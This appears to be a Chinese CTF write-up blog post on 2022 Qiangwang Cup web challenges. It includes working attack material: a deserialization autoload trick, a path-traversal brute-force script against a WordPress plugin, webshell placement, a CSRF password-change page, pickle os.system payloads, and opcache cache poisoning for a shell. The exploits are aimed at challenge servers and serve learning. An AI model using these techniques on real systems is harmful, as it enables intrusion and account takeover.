文章目录

  • 强网先锋—rcefile
  • 强网先锋—WP-UM
  • babyweb
  • crash
  • uploadpro

强网先锋—rcefile

www.zip下载源码,在config.inc.php中存在这么一个函数spl_autoload_register
来看下他的作用:


举个例子:
比如有如下代码

<?php
spl_autoload_register();
$a=new A();

假设我们当前页面没有class A,他就会找a.php或者a.inc。然后包含他们。
所以我们只要上传一个含恶意代码的.inc文件,接着通过反序列化调用以这个文件的前缀为类名的对象即可。
1、首先上传.inc文件

2、生产序列化串

<?php
class f1052cc954a6663a38a52b193b7851ff{}
echo urlencode(serialize(new f1052cc954a6663a38a52b193b7851ff));

将cookie修改成生成的反序列化串

触发漏洞

强网先锋—WP-UM

题目给了源码文件。是个wordpress
然后进入网站给了这些话

猫哥最近用wordpress搭建了一个个人博客,粗心的猫哥因为记性差,所以把管理员10位的账号作为文件名放在/username下和15位的密码作为文件名放在/password下。并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)+一个大写或小写字母一个文件,例如admin分成5个文件,文件名是1a 2d 3m 4i 5n这几天他发现了一个特别好用的wordpress插件,在他开心的时候,可是倒霉的猫哥却不知道危险的存在。

应该是需要爆破用户名和密码了。
搜索发现wordpress的user ment插件存在路径遍历漏洞。
https://wpscan.com/vulnerability/9d4a3f09-b011-4d87-ab63-332e505cf1cd
正好也对应上了题目名,应该没得跑了。wordpress后台登录处可以探测用户名是否存在。在首页看到了一个。


用户名不用跑了,就是这个了MaoGePaMao
先注册个普通用户,然后上传文件抓个包。

拿到pf_nonce

脚本如下

import requests
import string
s = string.ascii_letters
url="http://eci-2zefnon2z47ho8r5grw9.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"
passwd=''
headers={'Cookie':'wordpress_435742472111dc623e9a384868ccf9e6=admin1%7C1659436049%7CiBbHcYGxHiaSkxyIAxDGCI9wgUGeUccPqC7wnsdzHHa%7Cefcfb909cd2a9a5d901cc939e9e4d70adba70d8f8328b63b692a8a9a699440f2; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_435742472111dc623e9a384868ccf9e6=admin1%7C1659436049%7CiBbHcYGxHiaSkxyIAxDGCI9wgUGeUccPqC7wnsdzHHa%7C7fda55d75fd7e914075e00e1a09991f11074e6744482274415409c3854beba06; wp-settings-time-2=1659263320'}
for i in range(1,16):print(i)for j in s:s=str(i)+jr=requests.post(url,data={'field_name':'test','filepath':'/../../../../../../../password/'+s,'field_id':'um_field_4','form_key':'Upload','action':'um_show_uploaded_file','pf_nonce':'eaff7e1a60','is_ajax':'true'},headers=headers)if "remove" in r.text:passwd+=jprint(passwd)break

得到密码MaoGeYaoQiFeiLa
登录后台存在代码执行漏洞。

写个马进去。根据源码可以知道该文件的具体路径为/wp-content/plugins/akismet/akismet.php

flag位置在/usr/local/This_1s_secert下。

babyweb

先随便注册一个用户,登录后发现存在一个bot,可以修改密码,也可以给管理员发送一个链接。很明显是csrf嘛,构造一个修改密码的链接给管理员。
那我们直接拿着源码里面的简单改改就可以了。


<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>后台管理系统</title><!--自定义函数--><script>var ws = null;var url = "ws://127.0.0.1:8888/bot";//var url = "ws://101.34.94.44:4567/bot";function sendtobot() {if (ws) {var msg = document.getElementById("sendbox").value;ws.send(msg);document.getElementById("sendbox").value = "";document.getElementById("chatbox").append("你: " + msg + "\r\n");}else{ws = new WebSocket(url);ws.onopen = function (event) {console.log('connection open!')var msg = document.getElementById("sendbox").value;ws.send(msg);document.getElementById("sendbox").value = "";document.getElementById("chatbox").append("你: " + msg + "\r\n");}ws.onmessage = function (ev) {botsay(ev.data);};ws.onerror = function () {console.log("connection error");};ws.onclose = function () {console.log("connection close!");};}}function closeWebSocket() {if(ws){ws.close();ws = null;}}function botsay(content) {document.getElementById("chatbox").append("bot: " + content + "\r\n");}</script><!-- Bootstrap --><link href="static/bootstrap.css" rel="stylesheet"><!-- HTML5 shim 和 Respond.js 是为了让 IE8 支持 HTML5 元素和媒体查询(media queries)功能 --><!-- 警告:通过 file:// 协议(就是直接将 html 页面拖拽到浏览器中)访问页面时 Respond.js 不起作用 --><!--[if lt IE 9]><script src="https://cdn.jsdelivr.net/npm/html5shiv@3.7.3/dist/html5shiv.js"></script><script src="https://cdn.jsdelivr.net/npm/respond.js@1.4.2/dest/respond.js"></script><script type="text/javascript" src="jquery-1.7.2.js"></script><![endif]-->
</head>
<body>
<nav class="navbar navbar-default" role="navigation"><!-- Brand and toggle get grouped for better mobile display --><div class="navbar-header"><button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-ex1-collapse"><span class="sr-only">Toggle navigation</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button><a class="navbar-brand" href=".">主页</a></div><!-- Collect the nav links, forms, and other content for toggling --><div class="collapse navbar-collapse navbar-ex1-collapse"><ul class="nav navbar-nav navbar-right"><li><a href="/logout">登出</a></li></ul></div><!-- /.navbar-collapse -->
</nav>
<div style="padding: 100px 100px 10px;"><div class="form-group"><label for="name">一个好用简约的bot</label><textarea class="form-control" rows="15" id="chatbox"></textarea></div><div class="form-group"><label for="name">输入框</label><input type="text" class="form-control" placeholder="输入 help 查看bot使用方法" id="sendbox" value="changepw 123456"></div><div class="form-group" style="display: flex;flex-direction: column;align-items: flex-end;"><button type="button" class="btn btn-info" style="width: 20%;" onclick="sendtobot()">发送</button></div>
</div>
<script type="text/javascript">sendtobot()</script>
</body>
</html>

搭到vps上然后将地址发送过去,即可成功修改管理员密码(123456)。
接着用admin进行登录,买一个hint得到源码。

python和golang json解析差异

crash

存在反序列化,可以直接调用系统命令,剩下的就是怎么触发504了。可以跑个多线程来运行sleep,使得某些线程调用不上造成504。
payload

#author:yu22x
import pickle
import base64
import requests
import os
import threading
url="http://182.92.223.176:35240/"
def write():a=b"(cos\nsystem\nS'sleep 5'\no."a = base64.b64encode(a)r=requests.get(url+'balancer',headers={'Cookie':'userdata='+a.decode()})print(r.text)
def write2():a=b"(cos\nsystem\nS'sleep 10'\no."a = base64.b64encode(a)r=requests.get(url+'balancer',headers={'Cookie':'userdata='+a.decode()})print(r.text)
def write3():a=b"(cos\nsystem\nS'sleep 15'\no."a = base64.b64encode(a)r=requests.get(url+'balancer',headers={'Cookie':'userdata='+a.decode()})print(r.text)
def write4():a=b"(cos\nsystem\nS'sleep 20'\no."a = base64.b64encode(a)r=requests.get(url+'balancer',headers={'Cookie':'userdata='+a.decode()})print(r.text)
if __name__=="__main__":event=threading.Event()with requests.session() as session:for i in range(1,5): threading.Thread(target=write).start()for i in range(1,5): threading.Thread(target=write2).start()for i in range(1,5): threading.Thread(target=write3).start()for i in range(1,5): threading.Thread(target=write4).start()event.set()

uploadpro

开局一个上传页面,但是限制的比较死,不过留了bin、hex、dat后缀,
而且存在phpinfo页面。
bin就有点可疑了,可以联想到利用opcache来getshell
https://www.anquanke.com/post/id/83844
但是这个要利用成功的话需要上传文件的路径可控。
好在题目给我们预设了一个nginx目录穿越漏洞。

var目录直接是403,然后读了下nginx的配置。有个配置的内容很有意思

/uploads../etc/nginx/sites-available/default


路径中匹配到这些都会403,但是var是匹配到./var,可以通过/proc/self/cwd绕一下。

/uploads../proc/self/cwd/var/www/html/
读到了index.php的源码

<!DOCTYPE html>
<html>
<head><title>文件上传</title><meta charset="utf-8">
</head>
<body><form action="index.php" method="post" enctype="multipart/form-data"><input type="hidden" name="max_file_size" value="1048576"><input type="file" name="file"><input type="submit" name="上传"></form></body>
</html><?php if($_SERVER['REQUEST_METHOD']=="GET"){die(0);}header("content-type:text/html;charset=utf-8");$filename = str_replace("\0","",$_FILES['file']['name']);$prefix = isset($_GET['prefix'])?str_replace("\0","",$_GET['prefix']):"";$temp_name = $_FILES['file']['tmp_name'];$size = $_FILES['file']['size'];$error = $_FILES['file']['error'];if ($size > 2*1024*1024){echo "<script>alert('文件大小超过2M大小');window.history.go(-1);</script>";exit();}$arr = pathinfo($filename);$ext_suffix = $arr['extension'];$allow_suffix = array('jpg','gif','jpeg','png',"bin","hex","dat","docx","xlsx");if(!in_array($ext_suffix, $allow_suffix)){echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png,bin,hex,dat');window.history.go(-1);</script>";exit();}if (move_uploaded_file($temp_name, '/uploads/'.$prefix.$filename)){echo "<script>alert('文件上传成功! Path /uploads/$prefix$filename');</script>";}else{echo "<script>alert('文件上传失败,错误码:$error');</script>";}?>

存在一个prefix参数,可以传个上传路径。这样上传文件的路径就可控了。
按照上面文章上的方法,我们需要将bin文件上传到/tmp/opcache/[system_id]/var/www/
而且因为可以目录穿越system_id的值也不需要我们计算。

但是在phpinfo中可以看到opcache.file_cache_only值为0,opcache.validate_timestamps为on。


这两个都需要绕过。

第一个我们可以重置容器,直接上传phpinfo.php.bin用于生成phpinfo.php的缓存。
第二个我们需要获取一个时间戳。
首先通过目录遍历直接下载下来index.php.bin,然后本地放入010editor中,找到他的时间戳。

接着本地搭建带opcache的环境(FROM php:7.4.3-apache)生成恶意的bin文件,然后将本地的时间戳改成相同的。最后访问phpinfo.php,恶意代码即可执行。

2022强网杯web(部分)相关推荐

  1. 【CTF整理】Who are you (2017强网杯web题)

    [CTF整理]Who are you (2017强网杯web题) 别人思路总结: 0x01 初探 打开网页就是一句"Sorry. You have no permissions." ...

  2. 第二届全国强网杯Web 题three hit学习心得(伪write up)

    前言:本人CTF-WEB入门,有参赛,赛后参考了很多write up想解出此题,无奈理解能力有限,看不懂很多大佬的思路,最后看 酷辣虫上的一篇大佬write up才弄明白. 现将学习心得总结如下,说得 ...

  3. 【Reverse】2022 强网杯 game

    [Reverse]2022 强网杯 game 前言 复现一下这题,因为手头有环境可以学学.强网的时候根本没看. backup还原 直接GitHub的链接 可以还原出apk 摸瓜分析 在线网站分析 发现 ...

  4. 强网杯Web部分review

    0x01 上个月强网杯结束,看了一下Web题目,代码审计及php 反序列化等.本着学习的态度,试着本地复现一下.靶机下载:https://github.com/glzjin/qwb_2019_uplo ...

  5. 细说强网杯Web辅助

    亲爱的,关注我吧 8/27 文章共计1908个词 包括三段长代码 今天的内容无图,流量不预警 和我一起阅读吧 1 写在前面 这里就借由强网杯的一道题目"Web辅助",来讲讲从构造P ...

  6. 2015广东强网杯web专题

    2015广州强网杯 1.万国码 Unicode编码转换 #-*- coding : gbk -*- s=u'\u0066\u006c\u0061\u0067\u007b\u0032\u0035\u00 ...

  7. [2022 强网杯] devnull 复现

    话说移栈这个事很少见了,因为大家都熟了.今天这个看似没难度,但突然发现机子上的libc-2.31比要求的libc-2.34小,然后这个程序就不能运行了.实际上这个题本身跟版本没以任何关系,感觉就是卡那 ...

  8. 2021强网杯 Web赌徒 WP

    文章目录 源代码: 分析 __invoke __get _tostring EXP 调用流程: 总结 源代码: <meta charset="utf-8"> <? ...

  9. 2022强网杯 Quals Reverse 部分writeup

    Game native层其实只有加解密的两个函数,所以没怎么逆,直接用frida hook 由于有root检测和frida检测,换个端口启动 ./frida-server-15.1.8-android ...

  10. 2022强网杯青年赛MISC1和MISC3,Crypto2 部分writeup

    MISC1 下载附件,题目提示为万能和弦 图片不能正常打开 用010editor打开文件,发现是一大堆密文 去我常用的在线网站解密,这个网站可以自动转很多格式,很方便,在ascii码界面可以看到,是p ...

最新文章

  1. SAP MM 物料成本价格修改历史的查询
  2. 二叉树 —— 中序遍历结点的后继
  3. Android View坐标系
  4. Angular搭建框架比较好用的插件
  5. 台式计算机机箱的作用,如何选择台式电脑机箱?小白安装电脑机箱常识指南
  6. 网络通信之 字节序转换原理与网络字节序、大端和小端模式
  7. 8 种有趣的用于 Web 品牌的动物
  8. Linux中安装nc(netcat)常见问题
  9. SDN精华问答 | 了解SDN架构
  10. sublime怎么运行go_使用SublimeGDB调试Go程序
  11. 操作系统-Windows操作系统的线程调度了解这些
  12. 想要导航首页提示页_如何设计电商首页运营后台
  13. 阿里java规范_阿里Java规范
  14. Xshell免费学生版
  15. 罗马时钟代码html,用Html实现炫酷罗马时钟
  16. 马蜂窝张矗:我对技术团队绩效考核管理的几点思考
  17. 微信公众号吸粉8大策略,实战运营指南
  18. 学计算机如何护眼,长期看电脑如何保护眼睛 吃这些有效保护视力
  19. High Dynamic Range(HDR)图像介绍(一)
  20. html设置表格点击变色,js实现表格变色点击行颜色改变

热门文章

  1. 计算机开机桌面黑,电脑开机后桌面自动变成黑色的
  2. 云编程那些事2 - Java之父的啤酒密谋
  3. SpringBoot整合jersey
  4. VB.NET读写文本文件方法
  5. 什么是SQL Server数据字典?
  6. Docker 极简入门指南
  7. 计算机忘记网络,忘记密码后如何查看电脑无线网络密码
  8. 苏宁“北京攻略”:老阵地,新战场 | 一点财经
  9. python 单引号,双引号用法的理解
  10. seckill配置补发